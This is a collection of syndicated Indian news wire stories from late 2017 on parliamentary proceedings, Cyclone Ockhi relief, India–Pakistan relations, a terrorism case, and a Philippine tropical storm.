Objecting to the request, the defence counsel said the investigating agency or the police have only made allegations against his client and that they have no evidence of Johal's involvement in the killing of Durga Dass Gupta in Khanna area.

Gupta was shot dead by two motorcycle-borne assailants in April 2016.

The defence counsel said his client has been in police custody for the past 45 days. Earlier, Johal, who was arrested on November 4, was in the custody of the Khanna police.

Johal and four others were arrested by the Punjab Police in connection with targeted killing cases last month. Five incidents of targeted killings had taken place between April 2016 and February 2017.

The Punjab Police had transferred the cases to the National Investigation Agency.

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Vice President M Venkaiah Naidu said today that no religion accepts terrorism and terror groups were misusing religion to achieve their political ends.

Stating that some people had objections to his recent comment that terror has no religion, he said, "Anybody who is taking the name of religion and choosing the path of terror is against humanity. This is what I meant."



"I am very clear. Every religion has to be understood properly," Naidu said while delivering the 10th annual lecture of the National Commission for Minorities here.

The vice president said "no religion accepts terrorism" and terror groups were misusing religion to achieve their political ends.

"If you encourage terror, you will become the victim of terror tomorrow. This is what is happening. We are seeing it in our neighbourhood also," he said, adding that some countries were aiding and funding terrorism.

Noting that people are free to pray to any God they believe, Naidu said he visits 'dargah' whenever he goes to his village.

"Many people get surprised (when I tell them that I go to dargah). Now that I am not in politics, I can freely talk about it. If I would have been in politics, then people would have said that he was saying it because of political reasons," he said.

Naidu said that politics was a mission but some politicians had converted it into a "commission". He urged all politicians to "think of nation first".

The vice president also highlighted the contribution of minority communities, especially in field of education and medicine.

In his address, Minority Affairs Minister Mukhtar Abbas Naqvi said that over the last three years, the representation of Muslim community in the Central government jobs has increased from 4.5 per cent to 9.8 per cent.

The government has laid special emphasis on the empowerment of women belonging to the minority communities, he said.

The theme of the lecture was 'Minorities in Nation Building'.

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Maharashtra minister Eknath Shinde today informed the Legislative Council that not even an inch of land for the proposed Mumbai-Nagpur Samruddhi Expressway was acquired forcefully.

Shinde, the Public Works Department minister, was replying to a query during the question hour by Congress MLC Husnabanu Khalife.

Khalife alleged that the farmers were being threatened and forcefully made to handover their land for the project.

"The measurement of 380 out of 392 villages has been completed. Meanwhile, discussions are underway in 12 villages where protests from farmers are being witnessed. Besides, no measurement of land is conducted in the villages witnessing protests and not single inch of land is acquired forcefully," said Shinde.

Similarly, Congress MLC Sanjay Dutt alleged that the concerned project does not have sufficient funds and no banks are coming forward to lend loans for this project.

Shinde said there is no shortage of funds for the project.

"MHADA has given 1000 crore, SRA has given 600 crore and MMRDA has also provided funds to the project. The government has collected Rs 2,600 crore funds and Rs 2,300 crore have already been distributed the farmers.

"Besides, 14 banks are ready to give 18,000 to 20,000 crore funds for the project. Hence, this project will not stall for wants of funds," the minister added.

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Prime Minister Narendra Modi today chaired a high-level meeting at Kavaratti in Lakshadweep to review the situation arising due to Cyclone Ockhi which left a trail of destruction in the Union Territory.

Modi, who reached the island this morning, was received by top officials of the Lakshadweep administration and public representatives, including Lakshadweep MP Muhammed Faizal.

"PM @narendramodi reviewed the situation arising due to #CycloneOckhi at a high-level meeting in Lakshadweep," a tweet by the Prime Minister's Office said.

Earlier today, youngsters of Lakshadweep extended a warm welcome to the prime minister, it tweeted said.

Besides, Modi will visit the cyclone-battered areas of Tamil Nadu and Kerala today.

During his visit to the southern states, Modi will visit coastal Kanyakumari and Thiruvananthapuram where he will meet officials and public representatives as well as the cyclone victims, including the fishermen, and farmers' delegations.

Parts of Kerala, Tamil Nadu and Lakshadweep were severely affected by the cyclone late last month and early this month.

The prime minister has constantly been monitoring the situation arising out of the natural calamity in the southern parts of the country.

A PMO statement had yesterday said the Centre released the second instalment from the State Disaster Relief Fund (SDRF) for Kerala and Tamil Nadu to supplement the efforts of these states in dealing with the situation.

"During financial year 2017-18, the amounts of the central share of the SDRF to the governments of Kerala and Tamil Nadu were Rs 153 crore and Rs 561 crore respectively," it had said.

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The opposition in the Maharashtra Legislative Council today staged a walk-out, terming the BJP-led state government's reply on farmers' issues, including compensation for losses due to bollworm attack on cotton crop, as unsatisfactory.

Leader of Opposition Dhananjay Munde (NCP), Neelam Gorhe, Jayant Patil, Amar Singh, Jogendra Kawade and others cornered the government on the issues of farmer suicides, loan waiver, irrigation, minimum support prices and losses suffered by cotton growers due to bollworm attack.

Munde demanded that the government announce a compensation of Rs 25,000 per hectareto cotton growers affected by the bollworm attack.

He also demanded that the government publish a list of farmers who have got the benefit of farm loan waiver, and the details of money deposited in their accounts.

Minister of State for Agriculture Sadabhau Khot said that orders have been issued to district collectors to conduct panch-nama (inspection) of the losses due to the pest attack.

Also, complaints were being collected from the farmers who sowed BT cotton seeds (but still suffered the pest attack), so that losses on account of the bollworm can be recovered from the seed manufacturing companies, said the minister.

"A review meeting on BT seed was held in the presence of Union agriculture minister Radha Mohan Singh, Union minister Nitin Gadkari, Chief Minister Devendra Fadnavis and NCP chief Sharad Pawar via video conference. The Union government will be sending a report to the state government on this matter," Khot said.

"I want to assure the house that a compensation for bollworm attack-affected farmers will be announced before the end of the (ongoing) winter session," the minister said.

However, not satisfied with ministers' replies, opposition members staged a walk-out.

"This government is completely anti-farmer and is not serious about the issue of agrarian crisis," said Munde.

Earlier, during the discussion, Jayant Patil asked whether the research conducted by agriculture universities reaches the farmers. The House must also know what research these universities are conducting to address farmers' problems, Patil said.

Khot said that agriculture universities are conducting research on BT seeds, and very soon better seeds will be made available to farmers. PTI CLS.

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Over 5,800 post-graduate seats have been added this year across medical colleges in the country, Parliament was informed today.

Union Minister of State for Health and Family Welfare Ashwini Kumar Choubey said in a written reply to a question in the Rajya Sabha that the emphasis of the government on increasing the number of doctors in the country will improve the doctor-population ratio.

"There are 479 medical colleges in the country with an intake capacity of 67,352 MBBS seats. 13,004 MBBS seats have been added in the last three years," he said.

"To increase the availability of faculty and specialist doctors in the country, one-time increase in PG seats was permitted this year after the revision of teacher student ratio. In all, over 5,800 PG seats have been added this year," the minister said.

Choubey also said that the government is implementing a centrally-sponsored scheme for the establishment of new medical colleges attached with district/referral hospitals in 58 districts in 20 states and union territories in under- served areas of the country.

There are other centrally sponsored schemes for increasing under-graduate seats and post-graduate seats in the existing government medical colleges, the minister said.

"Minimum Standard Requirements (MSRs) for medical colleges including requirement of land, faculty, staff, bed strength and other infrastructure has been rationalised to facilitate setting up of new colleges," he said.

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More than 500 Indians, mostly fishermen, are languishing in various jails in Pakistan, according to an official report.

The Interior Ministry said there were a total of 996 foreign nationals, including 527 Indians, in Pakistani jails for allegedly being involved in various crimes, including terrorism, murder, drug smuggling, and for illegally entering into the country.

Most of the Indian prisoner are fishermen who have been arrested for fishing illegally in Pakistan's territorial waters in the Arabian Sea, it said.

Fishermen from Pakistan and India are frequently taken in to custody for illegally fishing in each other's territorial waters since the Arabian Sea does not have a clearly defined marine border and the wooden boats, used by them, lack the technology to avoid them from drifting away.

Last month, 55 Indian fishermen were arrested by the Pakistan Maritime Security Agency for fishing in the country's territorial waters.

Among the other foreign prisoners are, a Saudi national and two Chinese, the ministry said.

On the other hand, a total of 9,476 Pakistani nationals were in prisons in 100 countries, a Foreign Ministry official told the Lahore High Court yesterday.

While hearing a plea by families of prisoners incarcerated in the Gulf countries, the official said, majority of Pakistani prisoners abroad are in Saudi Arabia and the UAE.

The high court then ordered the government to place before it within two months the country's consular protection policy.

Under the policy, Pakistani missions abroad would be tasked with providing consular access to Pakistani citizens in foreign jails.

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The newly floated People Democratic Front (PDF) in Meghalaya today declared that former Congress legislator Pynshngain N Syiem will be its chief ministerial candidate in the 2018 state Assembly elections.

Assembly elections in Meghalaya are due early next year.

The announcement was made during the first public rally at Pologrounds here organised by the PDF to welcome the official joining of Syiem, who is also the chief executive member of the Khasi Hills Autonomous District Council.

Apart from being a chief ministerial candidate, Syiem was also appointed as the chairman of the People Democratic Front (PDF) to work out strategies that will guide the party towards achieving the goals in the upcoming Assembly polls.

Syiem, who was the Congress legislator from the Mawsynram seat had resigned from the Meghalaya Legislative Assembly last week.

Addressing the rally Syiem said the PDF was formed after the state witnessed turbulences in its journey under the Congress rule.

"Our main objective is to come up with clear cut laws and policies that will suit the needs and protect the interests of the indigenous people of the state," he said.

Attacking Chief Minister Mukul Sangma, Syiem alleged the Assembly passed the Prevention of Disqualification (Members of Legislative Assembly of Meghalaya) (Amendment) Act, 2015 hurriedly in an attempt to "destroy" his political career.

Syiem claimed that the Congress-led Meghalaya United Alliance had "miserably failed" despite adopting all kinds of "political tricks" to bring him down as the leader in the KHADC



The PDF so far have announced names of as many as 22 candidates who will be contesting from the Assembly seats in Khasi and Jaintia Hills region.

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Pakistan today strongly rejected America's concerns about the terror groups operating from its soil as outlined in the US National Security Strategy, terming them as "unfounded accusations" that belie facts on ground.

Mandated by the Congress, US President Donald Trump yesterday released his first National Security Strategy 2017, according to which the US has asked Pakistan to intensify its counter-terrorism efforts.

In a statement, the Foreign Office said the NSS 2017 has made certain unsubstantiated allegations against Pakistan.

"Pakistan rejects such unfounded accusations that belie facts on ground and trivialize Pakistans efforts for fighting terrorism and our unmatched sacrifices to promote peace and stability in the region," the statement said.

It said Pakistan has been at the forefront in the fight against regional and global terrorism and it is because of Pakistan's cooperation with the international community, acknowledged and appreciated by the US leadership, that the Al-Qaeda core was decimated from the region.

It said that in a troubled neighbourhood, Pakistan continues to suffer at the hands of state sponsored terrorism, funded and abetted by our neighbours through proxies.

The self-proclaimed guarantors of peace and "phony regional powers" are pursuing this nefarious game of expansionism to the detriment of regional and global peace, the statement said, without naming any country.

"Destabilising policies and actions by some countries to maintain their hegemony in pursuit of absolute power are responsible for instability in several parts of the world, including ours," it said.

In an oblique reference towards India, the statement said that countries emerge as regional or global powers on the basis of their constructive contributions and it does not fall upon one country to bestow such status on any state.

"Ironically, a country with a record of defiance of UNSC resolutions, introduction of nuclear weapons in South Asia and use of terrorism as a state policy is being projected as a regional leader," the Foreign Office said.

Pakistan also alleged that the hostile elements were using Afghan soil against it "despite substantial US presence" in Afghanistan.

The statement said Pakistan has consistently emphasised that a political settlement, owned and led by Afghans is the only viable option to end the conflict in Afghanistan.

The statement said that Pakistan's security forces have undertaken indiscriminate and effective counter-terrorism operations against terrorism and extremism, making Pakistan a more stable, peaceful and secure country.

Rejecting US concerns about its nuclear weapons, the statement said that Pakistan as a responsible nuclear state has put in place, a highly efficient, robust and centralised command and control mechanism to secure its nuclear assets.

"The safety and security standards of Pakistans nuclear arsenal are second to no other nuclear state," it said.

It said Pakistan was mindful that the war against terrorism was not over and was committed to continue its fight against the sympathisers, financers and abettors of terrorism to ensure that its soil is not used for committing violence anywhere.

"We expect the same commitment from our neighbours and other regional and global actors," it said.

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Pakistan and Japan have agreed to jointly combat the threat of terrorism in all its forms and manifestations, Foreign Office said here today.

The two countries have agreed to explore further avenues for promoting bilateral cooperation on countering terrorism during the 3rd round of Pakistan-Japan Counter Terrorism Consultations held here.

Pakistan delegation was led by Tasnim Aslam, Special Secretary in Ministry of Foreign Affairs while the Japanese side was led by Eiji Yamamoto, Ambassador in charge of International Cooperation for Countering Terrorism and International Organised Crime of Japan.

"The two sides held in-depth discussions on various aspects of the threat posed by international terrorism and reiterated their resolve to jointly combat terrorism in all its forms and manifestations," Foreign Office said in a statement.

Pakistan briefed the Japanese delegation on the improved security situation in the country as a result of the concerted actions by all segments of the society, it said.

The major successes achieved in the fight against terrorism through military operations and implementation of comprehensive nation plan of action were also highlighted, it added.

The Japanese side, while reaffirming its solidarity with the victims of terrorist attacks and recognising the sacrifices and successes of Pakistan in the fight against terrorism, expressed support to Pakistan's continuing efforts in this regard, the statement said.

Both sides also exchanged views on the threat posed by the ISIS in the Middle East and other parts of the world.

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Pakistan's parliament today passed a constitutional amendment bill relating to delimitation of constituencies on the basis of population census carried out this year.

The 24th Constitutional Amendment Bill 2017 was moved in Senate, upper house of parliament, by Minister for Parliamentary Affairs Sheikh Aftab.

It was supported by 84 senators both form treasury and the Opposition benches while only one Senator from a small Opposition party opposed it.

The bill was already passed by the National Assembly, the lower house, last month.

It seeks to carry out fresh delimitation of constituencies on the basis of officially published census results.

The bill has reduced nine seats for National Assembly from the Punjab province.

Out of them, five were allocated to Khyber Pakhtunkhwa, three to Balochistan and one to federal capital territory.

The total number of seats for National Assembly remained unchanged at 342.

The move is aimed to fulfil a constitutional obligation to exercise delimitation of constituencies on the basis of census.

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Pakistan violated the ceasefire a total of 881 times along the Line of Control (LoC) and the International Border (IB) in Jammu and Kashmir this year, killing 30 people, the Lok Sabha was informed today.

Minister of State for Home Hansraj Ahir said Pakistan has violated the ceasefire along the LoC in Jammu and Kashmir 771 times till December 10, and 110 times along the IB till November-end.

In these incidents of firing from across the border, 30 people -- 14 Army personnel, 12 civilians and four BSF personnel -- were killed.

No cross-border firing has been reported in other states except Jammu and Kashmir along the border with Pakistan, he said replying to a written question.

The truce between India and Pakistan along the International Border, the Line of Control and the Actual Ground Position Line in Jammu and Kashmir came into force in November 2003.

India shares a 3,323-km-long border with Pakistan, of which 221 km of the IB and 740 km of the LoC fall in Jammu and Kashmir.

In 2016, there were 449 incidents of ceasefire violations in which 13 civilians and 13 security personnel were killed and 83 civilians and 99 security personnel were injured.

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The BJP-ruled Panvel City Municipal Corporation (PCMC) in neighbouring Raigad district has passed a unanimous resolution banning sale of liquor in the civic limits.

The resolution, passed in the general body meeting of the civic body yesterday, will now be sent to the Maharashtra Urban Development department for a final approval.

Established in 2016, the PCMC includes 29 revenue villages of Panvel taluka including Taloja, Kharghar, Kalamboli, Kamothe and Turbhe.

Among various nodes under the PCMC, Kharghar is known as an education hub near Navi Mumbai.

Explaining the rationale, PCMC Mayor Kavita Chaoutmol said the prohibition will help maintaining order in the area.

"Most municipalities across the country only think about it (banning liqour sale) but we have done that. We are glad as the resolution will help maintaining sanctity of the place," Choutmol told PTI today.

PWP corporator Arvind Mhatre, who proposed the resolution, said the move will bring down the incidents of domestic violence.

"It was necessary to bring in the resolution as it will reduce domestic violence against homemakers. Alcoholism is a social menace which we want to get rid of," he said.

Leader of House in PCMC, Paresh Thakur (BJP) had raised a point of order demanding a ban on sale of liquor in July this year.

The corporators cutting across party lines, including the BJP, the Peasants and Workers Party (PWP), the Congress, and the Shiv Sena, backed the resolution while rejecting the argument that closure of liquor vends will lead to loss of revenue.

Former Army officer S H Kalawat, a resident of Kharghar, has hailed the move.

"We welcome the PCMC's decision to ban sale of liquor. We are happy to know that corporators have kept their poll promise to ban sale of liquor. People can buy booze from outside and can drink in at their homes. Now, they won't be able to buy alcohol from shops," he said.

Local activist Ravi Srivastava said residents of Kharghar, which was a Gram Panchayat before it was inducted in the PCMC, had first made the demand for liquor ban nearly ten years ago.

In the maiden polls held for the 78-member PCMC in May this year, the BJP won 51 seats and its nearest rival the PWP 23. The Congress and the NCP bagged two seats each.

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A parliamentary panel on Tuesday came down hard on the government for inadequate allocation of funds to the three services and inordinate delays in the procurement of key military platforms and weapons systems for them.

In its latest report tabled in the Lok Sabha, the standing committee on particularly mentioned the capital allocated to the Army, the Navy and the Air Force for the current year, saying funds given to them were much less than what they had demanded.

It said the capital allocation to the Army in the estimate was Rs 25,254 crore against a projection of Rs 42,500 crore while the Navy was given Rs 37,841 crore when the demand was Rs 51,065 crore.

Similarly, the Air Force was allocated Rs 59,672 crore against its projected requirement of Rs 92,496 crore for the year 2017-18, leaving a major shortfall, the panel said.

The panel, headed by Maj Gen (retd) B C Khanduri also mentioned that Rs 6,170 crore remained unspent by the Army during the first four years of the 12th five year plan (2012- 17), and called the under utilisation of the funds an indication of an "apathetic" attitude towards modernisation of the force.

The committee said fund crunch was impacting the three forces and it may even hit operational preparedness of the forces. It expressed unhappiness over the "customary nature" of the reply by the ministry to these critical issues.

"A deficit of nearly 25 per cent will indeed have cascading affect on operational preparedness and technological upgradation of the Navy," it said referring to the inadequate allocation to the Navy.

The defence ministry, in its reply to the panel, said it was taking up the matter of funds shortage for the three forces with the finance ministry so that additional money can be given to them.

It said according to the IAF, 14 squadrons of the MiG 21, MiG 27 and MiG 29 are due for retirement in the next 10 years which will bring down the fighter squadron strength to 19 by 2027 from the current 33.

The strength may further reduce to 16 by 2032, it said, adding that the panel was informed about plans to induct new fighter jets in the coming years.

Referring to the modernisation plan of the Navy, the committee expressed deep disappointment over delays in several mega procurement projects including induction of Scorpene submarines and various war ships.

"It is disheartening to find out that repeated delays have become an inherent part and parcel of the projects. Such an approach is needed to be rectified and strict compliance to the stipulated timelines is the need of the hour," the committee said.

The committee asked the defence ministry to address the delays with seriousness and find solutions.

Talking about the delays, it also mentioned the delay in the delivery of naval offshore patrol vehicles due to the change in management of the supplier company and its takeover by the Reliance Defence and Engineering Ltd.

It also talked about series of accidents involving naval platforms and said accidents are a continuous feature in the Navy.

The shortage of arms and ammunition being faced by the Army also figured in the panel's report. It said the Army is facing a shortage of 8,370 officers.

The committee also spoke about the need for enhancing security at defence installations across the country following the Pathankot and Uri terror attacks.

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A bill to amend the companies law to strengthen corporate governance standards, initiate strict action against defaulting companies and help improve ease of doing business in the country, was passed by Parliament on Tuesday.

The Rajya Sabha passed the Companies (Amendment) Bill, 2017 by a voice vote. It was adopted by the Lok Sabha in July this year during the Monsoon Session.

Replying to issues raised by the members during a discussion on the bill, Minister of State for Corporate Affairs P P Chaudhary said the amendment would ensure better corporate governance and improve the ease of doing business in the country.

The bill provides for more than 40 amendments to the Companies Act, 2013, which was passed during the previous UPA regime.

The bill was introduced in the Lok Sabha in March 2016 and then referred to the Standing Committee on Finance. After taking into consideration the recommendations of the panel, the Cabinet had cleared a revised bill in March this year.

The Companies Act, 2013 has already been amended once under the present government.

The latest legislation would help in simplifying procedures, make compliance easy and take stringent action against defaulting companies, Chaudhary said.

The minister dismissed the apprehensions raised by members that the government was not doing enough to ensure that companies comply with the Corporate Social Responsibility (CSR) provisions.

Intervening during the reply, Congress leader Jairam Ramesh said CSR has become PSR or political social responsibility, especially for the public sector undertakings.

"There should be an independent audit for the objective of the CSR" spending of PSUs, Ramesh said.

The minister said the government has already issued notices to many companies for not complying with CSR provisions under the Companies Act.

On the government's promptness in taking action against companies at fault, the minister said the government has taken several steps against such firms which were not taken in last several years.

He said the government has taken action against over two lakh shell companies and Special Fraud Investigation Office was looking into it.

Under the Act, certain classes of profitable companies are required to shell out at least two per cent of their 3- year annual average net profit towards Corporate Social Responsibility (CSR) activities. In case of non-expenditure, such entities are required to provide the reasons for it to the ministry.

R Ramakrishna (BJP) said there was no provision of carrying forward the CSR funds and they should be given more time to use these funds.

The minister said the upper limit of 300 days for filing returns under the Act led to non-compliance and hence changes have been made in the law to improve timely filings.

While the minister was pushing the bill for passage, former finance minister P Chidambaram pointed out,"Why are you taking power to prescribe another number when Directors' Index Number (DIN). DIN is a number. Why do you need another number? What is the idea?"



He also opposed the proposal to give loans to directors and persons, saying a company should not give loans to the director or to those of interest to a director.

He also opposed the amendment to delete Section 195 and 196 which provide for prohibition of insider and forward trading.

The minister said insider and forward trading is barred d under the SEBI law and therefore there was no need of this provision in the Act which would anyway is superseded by the SEBI law.

Chidambaram said the provision should be part of the Act as SEBI does not have jurisdiction over unlisted companies and there could associate or subsidiary companies of listed companies, which can do insider or forward trading.

The minister said unlisted companies do not do insider or forward trading.

V Vijayasai Reddy (YSRCP) said the independent directors should not have any pecuniary interest in the company and they should not continue for longer terms.

He also proposed having a statutory body for appointment of independent directors and provision of special resolution for their removal from the board.

T S Reddy (INC) said the independent directors should not be responsible for companies' liabilities as this would discourage them to come on board.

D Raja (CPI) did not support the bill, saying it was a reiteration of the government to secure private capital and extend help to private corporates and big companies.

Naresh Gujaral (SAD) opposed the provision to make it mandatory to have full time company secretary for those firms whose paid equity capital is Rs 5 crore and above irrespective of turnover as per Section 2 and 3 of the Act.

Tapan Sen (CPI-M) said that this bill would not lead to ease of doing business in the country but would take our country to ransom.
Himachali short film, "Pashi", has won the award for Best Short Film at the South Film and Arts Academy Festival.

The festival was held from December 17-18 at Chile in South America.

"Pashi" director Siddharth Chauhan and main lead Chetan Kanwar also received honourable mentions at the gala.

Chauhan said, "We are thrilled. This is the first time any film from Himachal has received such an overwhelming response at an international film festival."



"I am extremely happy for Chetan Kanwar who has won an honourable mention for the Best Actor in a Short Film," he added.

Set in a traditional village of Himachal Pradesh, "Pashi" (Pahari word for trap) is an unusual love story, which unfolds when a visitor arrives and meets his neighbour after years.

A young boy simultaneously learns about the technique of trapping birds from his wicked grandmother and begins practising it.

The short film has also been nominated in five categories at the upcoming World Music & Independent Film Festival.

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Punjab Chief Minister Amarinder Singh has urged External Affairs Minister Sushma Swaraj to take up with Islamabad the issue of alleged "forced conversion" of Sikhs to Islam in Pakistan.

The chief minister said the external affairs minister's intervention in the matter would help protect the basic rights of the substantial Sikh community settled in Pakistan.

His concern came amid reports that the Sikh community in Hangu district of Khyber-Pakhtunkhwa province in Pakistan had complained of such "conversions", allegedly by a government official.

The Sikh community, which had been living in the Khyber area for more than a century, was reported to have filed an official complaint to the district deputy commissioner.

"It is the responsibility of the Indian authorities to intervene in the matter and ensure that the said coercion is brought to an end.

"We are duty-bound to protect the identity of Sikhs, wherever they may be living," Amarinder said in an official release here.

Describing the incident as "religious torture", the Punjab chief minister said it was a serious matter, especially since the so-called "forced conversions" were allegedly being spearheaded by a government official.

"Religious freedom is the right of every human being and should be upheld by all countries in the larger interest of humanity," the 75-year-old chief minister added.

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The Uttar Pradesh Assembly today witnessed noisy scenes and repeated adjournments with the opposition and treasury benches trading charges over claims made by the government in connection with recovery of PETN from the House in July.

Meanwhile, the state government today gave compulsory retirement to former director of Forensic Science Laboratory (FSL) for giving "misleading" report that the suspicious substance recovered from the Assembly on July 12 was highly explosive PETN.

Speaking during the Zero Hour, Leader of Opposition Ram Govind Chaudhry alleged that the Leader of the House (or the chief minister) had made the announcement about the alleged explosive material in July without getting it properly examined.

He said two Samajwadi Party members were "improperly" questioned by security agencies in this regard.

"What was said about the recovery of the explosive near Opposition benches was like a message that the Opposition was involved in terror activities...two of our members were questioned and this amounted to breach of their privileges," Chaudhary contended.

As the Leader of Opposition called for punishing the Leader of the House, state Parliamentary Affairs Minister Suresh Khanna was on his feet, asserting that there cannot be any compromise on security when the entire world was facing the menace of terror.

As the minister asked the Opposition not to act irresponsibly, SP members rushed into the Well of the House raising slogans, leading to adjournment of the House for 50 minutes.

Power Minister Srikant Sharma was heard charging the Opposition, especially the Samajwadi Party, with attempting to hijack the House proceedings and showing arrogance.

In an embarrassment to the Adityanath-led government, the NIA, which was directed to probe the 'explosive' found in the Assembly, had in October found that the powdered substance was not any highly explosive PETN.

The state government had then suspended Forensic Lab director Shiv Bihari Upadhyay for his wrong report in the case.

Principal Secretary (Home) Arvind Kumar today said the state government has given compulsory retirement to Upadhyay.

"Former director, state-run FSL, Shyam Bihari Upadhyay has been compulsorily retired today after the competent authority approved the recommendation of the screening committee," Kumar said in a release.

Scientific officer, FSL, Raghavendra Yadav has also been given compulsory retirement, he said.

The action was taken against Upadhyay for giving a "wrong, misleading, incomplete and unconfirmed" report about the substance recovered in the state Assembly, the principal secretary said.

"Upadhyay got the substance examined and in his report it was said to be PETN positive. When the NIA got it tested from CFSL, Hyderabad, it was found to be Silicon Oxide (Quartz) and not the dangerous explosive," Kumar said.

The official said Upadhyay allegedly got the substance tested using an explosive detection kit, whose usage date had expired in March, 2016, itself.

Another charge against him is that the substance was tested by a person who was not an expert in the field, he said.

There were also complaints against Upadhyay pertaining to irregularities during his tenure as the acting director of a laboratory in Patna from February 28, 2008, to August 20, 2012, Kumar noted.

The "white powder" was found wrapped in a paper close to the seat of the Leader of the Opposition by the cleaning staff in the morning hours of July 12, before the House met for the day.

The powder weighing 150 gms was sent for FSL examination, which suggested that it was plastic explosive PETN (Pentaerythritol tetranitrate), the chief minister had said.

PETN is a dangerous plastic explosive and has been used in terror attacks as the colourless crystals can surpass security checks.

When the House reassembled, Congress leader Ajay Kumar Lallu alleged that the the chief minister had created an "atmosphere of fear" by the announcement which turned out to be false and asked him to take it back, prompting the BJP members to lodge a strong protest.

Lalji Verma (BSP) questioned as to why the announcement of the recovery of the suspicious looking substance came from the government instead of the Speaker.

Adityanath said that the announcement was made after the matter was discussed in all-party meeting and he had got the feedback from then director of FSL.

"Is the respect of an individual more important than that of the entire House?...it was our moral responsibility and we did what was expected of us... what if the recovered substance was actually an explosive?...explosions do not wait for anyone," he said.

"There is no need to do over the issue...ours is the policy of zero tolerance on the issue of security," the chief minister said.

He also regretted that unparliamentary language was being used in the House since yesterday.

"Instead of issues, personal attacks are being made...the respect of the House is lowered when Opposition throw paper balls on Governor and indulge in whistling," he said.

"Our alertness will give us security..." he stressed.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The death toll from a tropical storm that pummelled the central Philippines rose to 43 with hopes fading for dozens of others still missing after massive landslides, authorities said today.

Slow-moving Kai-Tak finally swept out to the South China Sea on Monday after inducing days of heavy rain that led to deadly floods and landslides as it sliced across the central islands last weekend.

The government's disaster monitoring agency listed 43 dead in an updated tally and said 45 other people were still missing, many of them feared buried by mud avalanches that struck the small island of Biliran.

"The retrieval operations are still ongoing but we are not finding anyone alive. We only find dead bodies," Sofronio Dacillo, a disaster monitoring officer, told AFP by telephone from Biliran.

"We still have not given up hope of finding someone alive but the chances are slim."



Bulldozers continued to dig for survivors in houses buried by landslides on Biliran, located about 500 kilometres southeast of Manila. The island accounted for 30 of the 43 deaths, with 31 residents missing, authorities said.

The storm's slow movement caused large volumes of rain to fall on the central Philippines, government weather forecaster Jun Galang told AFP.

"It stayed almost stationary so it dumped a lot of rain and caused a lot of landslides which caused many deaths," Galang said.

About half of the more than 100,000 people who fled their homes remained inside evacuation centres this week, the government said.

As rescue efforts continued, Philippine authorities monitored another low-pressure area in the Pacific Ocean that the state weather service said could develop into a storm and strike the archipelago over the Christmas weekend.

The Philippines is battered by 20 major storms each year on average, many of them deadly.

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Prime Minister Narendra Modi today held a meeting with Chief Minister K Palaniswami on the post-Ockhi situation here, duringwhich Tamil Nadu sought a Rs 9,300-crore package, including Rs 4,047 crore for the districts hit by the Northeast Monsoon.

Modi, who visited Lakshadweep earlier in the day to review the situation after Ockhi hit the Union Territory, also met families of fishermen and representatives of the farmers' community, who were badly affected by the cyclone which hit the state shores on November 29-30.

As many as 25 fishermen representatives from eight coastal villages of Kanyakumari district, including Thoothoor, Neerodi, Marthandam Thurai, Poothurai, Chinnathurai and Raviputhanthurai took part in the discussions at the government guest house here.

Modi also met Catholic priests, who were also present during the over 90 minute-long meeting with Palanisamy, his deputy O Panneerselvam among others.

The prime minister was also shown pictures of the devastation caused by the cyclone.

Modi took a helicopter from Thiruvananthapuram to reach Kanyakumari.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Prime Minister Narendra Modi today met people hit by Cyclone Ockhi in Lakshadweep islands after reviewing the situation at a high-level meeting at the union territory's capital Kavaratti.

On his first leg of the day-long tour to areas affected by the cyclone recently, Modi reached Kavaratti this morning and chaired the meeting where he reviewed the situation in the aftermath of the the natural calamity that left a trail of destruction. Kavaratti is situated roughly 400 km west of Kochi coast.

Later, he met a group of people, who were victims of the cyclone and interacted with them.

"The Prime Minister met people affected by Cyclone Ockhi in the island. It was a good visit," Lakshadweep MP P P Mohammed Faizal told PTI.

Earlier, Modi was received by top officials of the Lakshadweep administration and public representatives, including Faizal, on his arrival.

"PM @narendramodi reviewed the situation arising due to #CycloneOckhi at a high-level meeting in Lakshadweep," said a tweet by the Prime Minister's Office.

It also said youngsters of Lakshadweep extended a warm welcome to the prime minister.

The government also released photos of the prime minister interacting with a group of school children in Kavaratti.

Later, the prime minister left for Kerala and Tamil Nadu to visit cyclone battered coastal belts in the two southern states.

Modi had yesterday tweeted saying the Centre has been monitoring the situation round the clock and ensuring proper rescue and relief operations since Cyclone Ockhi struck.

"We have been working closely with the Governments of the affected states. We stand shoulder to shoulder with all those affected by the cyclone," he had said.

The prime minister has constantly been monitoring the situation arising out of the natural calamity in the southern parts of the country.

A PMO statement yesterday said the Centre released the second instalment from the State Disaster Relief Fund (SDRF) for Kerala and Tamil Nadu to supplement the efforts of these states in dealing with the situation.

"During financial year 2017-18, the amounts of the central share of the SDRF to the governments of Kerala and Tamil Nadu were Rs 153 crore and Rs 561 crore respectively,"it said.

Parts of southern Kerala and Tamil Nadu and Lakshadweep were battered by the cyclone that formed in the Bay of Bengal on November 30 and later moved to the Arabian Sea.

It claimed over 70 lives in Kerala besides some in Tamil Nadu and left hundreds of fishermen stranded or missing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Prime Minister on Tuesday reached out to the people of cyclone Ockhi-hit areas of Lakshadweep, Tamil Nadu and Kerala and assured them all possible help from the Centre to rebuild their lives and trace those missing.

Modi said search operations to trace the missing fishermen in Kerala and Tamil Nadu would continue and expressed hope that all of them would come back home before Christmas.

"I am here to assure you that India stands shoulder to shoulder with all those affected by Cyclone Ockhi. We will leave no stone unturned in the rescue and relief operations," said the prime minister, who addressed a gathering of fisher folk at Poonthura, a fishing hamlet near Thiruvananthapuram.

"Some of our people are stranded in foreign nations. The Ministry of External Affairs and various embassies are working to bring them back. Some people also got stranded in parts of India's western coast. We have rescued many of them," he said.

On a day-long hectic tour, Modi held high-level discussions with the chief ministers of Tamil Nadu and Kerala and the administration of the union territory of Lakshadweep and reviewed the situation post-Ockhi.

During the meetings, both Tamil Nadu and Kerala demanded a special financial package from the Centre to tide over the destruction caused by the natural calamity and wanted the cyclone to be declared as a disaster.

Modi, who reached Kavaratti, Lakshadweep's capital, in the morning, discussed with top officials and people's representatives the situation in the union territory.

He also found time to meet some local people, the victims of the calamity, and interacted with them.

Talking to PTI over phone, Lakshadweep administrator Farooq Khan said as per a rough estimate, damage caused due to the cyclone in the union territory was to the tune of Rs 150 crore.

"We are processing the cases of those affected by the cyclone Ockhi to get maximum relief for them. We have conveyed our requirements to the Centre," he said.

